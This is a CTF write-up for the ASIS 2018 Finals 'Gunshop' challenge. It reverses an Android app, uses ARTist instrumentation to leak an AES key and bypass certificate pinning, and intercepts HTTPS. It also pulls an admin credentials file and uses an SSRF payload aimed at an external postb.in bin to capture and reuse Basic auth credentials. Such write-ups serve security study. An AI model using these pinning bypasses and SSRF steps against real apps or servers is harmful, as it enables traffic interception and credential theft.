ASIS 2018 Finals WriteUp Gunshop
27 November 2018 by alfink
ASIS 2018 Finals: Gunshop
The ASIS 2018 Finals had some awesome challenges. One of them is the Android reversing and web challenge Gunshop. I enjoyed the mix between Android reversing and web vulnerabilities. Also, it was a lot of fun to use ARTist, an open-source Andorid instrumentation framework, for the first time in a CTF Challenge. The instrumentation performed by ARTist allowed us to leak the AES key, intercept https traffic and bypass custom certificate pinning.
Gunshop 1
Assets
The APK contained two suspicious files in the assets folder, configKey
and configURL
. Both contained some encrypted data as base64 encoded string. By analyzing the APK in the jadx-gui
decompiler, we see that the assets are encrpted using AES/ECB/PKCS5Padding
and the key is derived using a SHA-256 hash:
public static String a(Context context) {
return a(context, "android.gunshop.com.gunshop");
}
public static String a(Context context, String str) {
if (str == null) {
return null;
}
try {
PackageInfo packageInfo = context.getPackageManager().getPackageInfo(str, 64);
if (packageInfo.signatures.length != 1) {
return null;
}
return b(MessageDigest.getInstance("SHA-256").digest(packageInfo.signatures[0].toByteArray())).substring(0, 16);
} catch (NameNotFoundException e) {
return null;
} catch (NoSuchAlgorithmException e2) {
return null;
}
}
public static String a(String str, Key key) {
Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(1, key);
return Base64.encodeToString(instance.doFinal(str.getBytes("UTF-8")), 2);
}
Obtaining the Encryption Key
At this point, I decided to not compute the AES key statically, but to instrument the application dynamically. For this purpose I used the ARTist, the Android RunTime Instrumentation and Security Toolkit. ARTist modules alter the application logic by modifying the App’s intermediate representation before the native code is generated during the compilation on the Android device. For more detailed information about ARTist, check out the project website or the BlackHat slides. The Gitter chat is the right place to ask questions.
The full source code of the ARTist module written for this challenge is available on Github.
Back to the challenge: To obtain the key dynamically, we implemented an ARTist module which extends the method public static String a(Context context)
in a way that it will also print the generated key. First, we implemented a logging method, which is part of the CodeLib, an ARTist module’s apk containing additional helper methods:
@Inject
public void log(String s){
Log.w("ASIS-codelib-log", s);
}
To add this method into the application, we have to create an Instrumentation Pass defining how the method should be modified. The relevant part is the following:
if (instr->IsInvoke()) {
auto ins = instr->AsInvoke(); // **ins** contains the current instruction cursor
if (ArtUtils::GetMethodName(ins, true).find("android.gunshop.com.gunshop.m.a(android.content.Context, java.lang.String)") != string::npos) {
/*
* If the invoke instruction calls the key-generation method:
* we add a call to a CodeLib method that logs the key to logcat afterwards
*/
// Create an instance of the codelib class:
auto codelib_instruction = GetCodeLibInstruction();
// The parameters are the codelib instance and the return value of **ins** (the encryption key):
vector<art::HInstruction *> params = {codelib_instruction, ins};
// Signature of our codelib method:
string invoked_signature = GunshopCodeLib::LOG;
// Create an invoke to our codelib method:
auto invoke_codelib_method = new (allocator) art::HInvokeVirtual(allocator,
static_cast<uint32_t>(params.size()), art::Primitive::kPrimVoid, 0,
symbols->getMethodIdx(
invoked_signature),
(uint32_t) env->getMethodVtableIdx(
invoked_signature));
// Set the params:
ArtUtils::SetupInstructionArguments(invoke_codelib_method, params);
// Inserts the instruction after the one invoking the key generation method
block->InsertInstructionAfter(invoke_codelib_method, ins);
}
}
Setting-up https Traffic Interception with ARTist
In another part of the application’s code, an https connection is used:
public static Bitmap c(String str) {
String str2 = "";
HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL(str).openConnection();
httpsURLConnection.setSSLSocketFactory(SSLCertificateSocketFactory.getInsecure(0, null));
httpsURLConnection.setHostnameVerifier(new AllowAllHostnameVerifier());
httpsURLConnection.setRequestMethod("GET");
httpsURLConnection.connect();
if (a(httpsURLConnection, a)) {
return BitmapFactory.decodeStream(httpsURLConnection.getInputStream());
}
throw new Exception("SSL Pin Error");
}
First, we want to replace the call to URL.openConnection()
with a CodeLib method that opens a new connection too, but without certificate checks and with a proxy set up as man-in-the-middle:
@Inject
public URLConnection openConnection(URL obj){
try {
Log.i("ASIS-codelib", "opening connection to:" + obj.toString());
URLConnection c = obj.openConnection(getProxy());
if (c instanceof HttpsURLConnection){
try {
SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
((HttpsURLConnection) c).setSSLSocketFactory(sc.getSocketFactory());
} catch (Exception e) {
}
}
return c;
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
private static Proxy proxy;
private static Thread resolveProxy =
new Thread() {
@Override
public void run() {
proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("proxy", 8080));
}
};
private Proxy getProxy(){
while (proxy == null) {
resolveProxy.start();
try {
resolveProxy.join();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
return proxy;
}
To replace the call to URL.openConnection with an own implementation, the instrumentation pass has to be extended again:
if (instr->IsInvokeVirtual()){
auto ins = instr->AsInvokeVirtual();
if (ArtUtils::GetMethodName(ins) == "java.net.URL.openConnection") {
/*
* Every invoke to java.net.URL.openConnection is replaced with an invoke to
* our CodeLib.openConnection that sets up the proxy and disables certificate checks.
*
* Works similar to the first example
*/
auto codelib_instruction = GetCodeLibInstruction();
// Now we want the input to be the input of the original openConnection()-Invoke:
vector<art::HInstruction *> params = {codelib_instruction, ins->InputAt(0)};
string invoked_signature = GunshopCodeLib::OPENCONNECTION;
auto replacement = new (allocator) art::HInvokeVirtual(allocator,
static_cast<uint32_t>(params.size()), art::Primitive::kPrimNot, 0,
symbols->getMethodIdx(
invoked_signature),
(uint32_t) env->getMethodVtableIdx(
invoked_signature));
ArtUtils::SetupInstructionArguments(replacement, params);
// We do not keep the openConnection()-Invoke, but replace it with our own:
block->ReplaceAndRemoveInstructionWith(ins, replacement);
}
}
Instrumenting the application with the current implementation of the module would leak the key, but would not allow intercepting the traffic. For each request, the Exception SSL Pin Error
would be thrown because the App implements a custom certificate pinning:
public static boolean a(HttpsURLConnection httpsURLConnection, Set set) {
try {
Certificate[] serverCertificates = httpsURLConnection.getServerCertificates();
MessageDigest instance = MessageDigest.getInstance("SHA-256");
for (Certificate certificate : serverCertificates) {
byte[] encoded = ((X509Certificate) certificate).getPublicKey().getEncoded();
instance.update(encoded, 0, encoded.length);
byte[] digest = instance.digest();
StringBuffer stringBuffer = new StringBuffer();
for (int i = 0; i < digest.length; i++) {
stringBuffer.append(((digest[i] & 255) < 16 ? "0" : "") + Integer.toHexString(digest[i] & 255));
}
if (set.contains(stringBuffer.toString())) {
return true;
}
}
return false;
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
The easiest way is to replace all possible return values with true
. This requires no additional CodeLib methods and only a few lines of C++ for the instrumentation pass:
if (instr->IsReturn()){
// All return instructions
auto ins = instr->AsReturn();
if (_method_info.GetMethodName(true).find("boolean android.gunshop.com.gunshop.m.a(javax.net.ssl.HttpsURLConnection, java.util.Set)") != string::npos){
/*
* To disable the manual certificate pinning, the value of every return statement in this method is set to true
*/
// create a new boolean variable:
auto replacement = graph_->GetConstant(art::Primitive::kPrimBoolean, 1,0);
// set the new variable used for the return value:
ins->SetRawInputAt(0,replacement);
}
}
Now, the ARTist module is finally completed and we can transfer it to the Android device and let ARTist GUI recompile the Gunshop App with the modifications. Opening Burp, we can now intercept and modify the App’s https traffic. Also, the App greets us in the logcat with the encryption key for the assets:
ASIS-codelib-log: E4555D32B56E3D90
Decrypting the assets
Now, that the constant encryption key is known, we can build a python script to decrypt the assets:
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
import urllib
from binascii import unhexlify
key = "E4555D32B56E3D90"
configkey = open("GunShop/assets/configKey").read()
url = open("GunShop/assets/configUrl").read()
print AES.new(key, mode=AES.MODE_ECB).decrypt(b64decode(url))
# https://darkbloodygunshop.asisctf.com
print AES.new(key, mode=AES.MODE_ECB).decrypt(b64decode(configkey))
# 123456789as23456
Both, the URL and the key, are later important for the traffic interception.
Login as admin
After starting the app, there is only a login screen visible. As there are no credentials provided and there were no credentials in the application’s code, we try logging in with a random user name and password. After a failed login attempt, a toast message pops up: username not found in public/users_gunshop_admins.csv
. It seems there is a csv file on the remote server, which contains the credentials of all admin accounts. Luckily, there is following method in the Application’s code which gives a hint on an remote endpoint that could be used to obtain files:
protected Bitmap a(String... strArr) {
Bitmap bitmap = null;
try {
return m.c(MainActivity.a + "/getFile?filename=" + strArr[0]);
} catch (Exception e) {
Log.e("Error", e.getMessage());
e.printStackTrace();
return bitmap;
}
}
As expected, we can use the decrypted url and the path from the error message to retrieve a csv file with admin credentials:
$ curl -k https://darkbloodygunshop.asisctf.com/getFile?filename=users_gunshop_admins.csv
alfredo,YhFyP$d*epmj9PUz
Traffic interception
Since the ARTist instrumentation allows to intercept the traffic, we intercepted the traffic during the login with the admin credentials. Although we can see the plain https traffic, we don’t see our credentials in the request yet:
POST /startSession HTTP/1.1
Cookie: session=88e162b8-e777-4601-b8fc-05d9f8b729e8
Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; Moto G5 Build/NJH47F)
Host: darkbloodygunshop.asisctf.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 146
user_data=0JjOmMth2l%2Bn%2BXmw3RlvcHzfA2HZbR58OvVHc4V7GcJ6LMonOfw8PBIuMrzE2zNGlsMtJTqnXEUOiTiCMQ3545VdDMMb%2BdoKZfLXbowRlSmdu%2BFuMofTA5nM49RKMRrr
It seems that the user_data
is encrypted itself too. Since there is a configKey
in the assets folder, we tried decrypting the user_data with this configKey:
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
import urllib
from binascii import unhexlify
configkey="123456789as23456"
def decrypt(data, k=configkey):
data = urllib.unquote(data).decode('utf8')
d = AES.new(k, mode=AES.MODE_ECB).decrypt(b64decode(data))
return d
def encrypt(data, k=configkey):
d = AES.new(k, mode=AES.MODE_ECB).encrypt(data)
return urllib.quote(b64encode(d)).encode('utf8')
print repr(decrypt("0JjOmMth2l%2Bn%2BXmw3RlvcHzfA2HZbR58OvVHc4V7GcJ6LMonOfw8PBIuMrzE2zNGlsMtJTqnXEUOiTiCMQ3545VdDMMb%2BdoKZfLXbowRlSmdu%2BFuMofTA5nM49RKMRrr"))
# '{"username":"alfredo","password":"YhFyP$d*epmj9PUz","device-id":"88e7b280b1f2fe56"}\r\r\r\r\r\r\r\r\r\r\r\r\r'
The decryption seemed to work. Decrypting the response body with the same key, reveals a json object:
{"key": "bc0f6215ea7c8f512a03acffb20d1d54", "deviceId": "88e7b280b1f2fe56", "flag1": "ASIS{d0Nt_KI11_M3_G4NgsteR}", "list": [{"pic": "1.jpg", "id": "GN12-34", "name": "Tiny Killer", "description": "Excellent choise for silent killers."}, {"pic": "2.jpg", "id": "GN12-301", "name": "Gru Gun", "description": "A magic underground weapon."}, {"pic": "3.png", "id": "GN12-1F52B", "name": "U+1F52B", "description": "Powerfull electronic gun. Usefull in chat rooms and twitter."}, {"pic": "4.jpeg", "id": "GN12-1", "name": "HV-Penetrator", "description": "The Gun of future."}, {"pic": "5.jpg", "id": "GN12-90", "name": "Riffle", "description": "Protect your self with me."}, {"pic": "6.png", "id": "GN12-21", "name": "Gun Shop Subscription", "description": "Subscription 1 month to gun shop."}, {"pic": "7.png", "id": "GN12-1002", "name": "GunSet", "description": "A Set of weapons, useful for assassins."}]}
Besides an interesting new key and some shop data, it also gives us the first flag ASIS{d0Nt_KI11_M3_G4NgsteR}
!
Gunshop 2
There we are, logged in as admin alfredo
, seeing a list of weapons in the Gunshop. Let’s select the Tiny Killer
. After confirming the choice, a request is sent to the server. The request contains, once again, an encrypted parameter, and the repsonse an encrypted body. Decrypting with the new key from the login-response reveals:
user_data = enc('{"gunId":"GN12-34"}\r\r\r\r\r\r\r\r\r\r\r\r\r')
response = enc('{"shop": {"name": "City Center Shop", "url": "http://188.166.76.14:42151/DBdwGcbFDApx93J3"}}\x04\x04\x04\x04')
As the challenge description says Login to the City Center Shop. A weapon is there, waiting for a worthy warrior to take it!
, we seem to be close to the goal. Sadly, accessing the URL via a GET request gives us a Method not allowed
and an empty response via POST. It seems we are not yet authorized to access this url. But in the App, a submit button is shown on the current order page. After hitting the button, a new encrypted request is sent to the server:
user_data = enc('{"shop":"http:\\/\\/188.166.76.14:42151\\/DBdwGcbFDApx93J3"}\x07\x07\x07\x07\x07\x07\x07')
response = enc('{"result": "Your request submitted and will be ready as soon as possible. Thanks for shopping. Happy killing."}\x01')
Sending an url to the server looks like a possible SSRF vulnerablility. To check for SSRF, we logged in and hit the submit button again, but replaced the user_data with the encryption of a postb.in url:
user_data = '{"shop":"http:\\/\\/postb.in\\/1UkMSfLU?aaaaaaaaaaaaaaaaaa"}\x07\x07\x07\x07\x07\x07\x07'
response = enc('{"result": "Your request submitted and will be ready as soon as possible. Thanks for shopping. Happy killing."}\x01')
The server returns the same string, but we can observe a request to our postb.in:
{"method":"GET","path":"/1UkMSfLU","headers":{"host":"postb-in.herokuapp.com","connection":"close","user-agent":"python-requests/2.20.1","accept":"*/*","accept-encoding":"gzip, deflate","authorization":"Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6","fly-request-id":"bKRS9A62ePHBGiTnVRtmA8hJu4","fly-app":"postbin-proxy","connect-time":"1","total-route-time":"0"},"query":{"aaaaaaaaaaaaaaaaaa":""},"body":{},"ip":"188.166.76.14","binId":"1UkMSfLU","inserted":1543275315841,"reqId":"dzgnx61P"}
By decoding the authorization header, we get: bigbrother:4Qj3rc4ZhNQKv7Rz
.
Let’s use these credentials to post to the shop url:
import requests
print requests.post("http://188.166.76.14:42151/DBdwGcbFDApx93J3", auth=('bigbrother','4Qj3rc4ZhNQKv7Rz')).text
# ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}
This gives us the second flag for Gunshop: ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}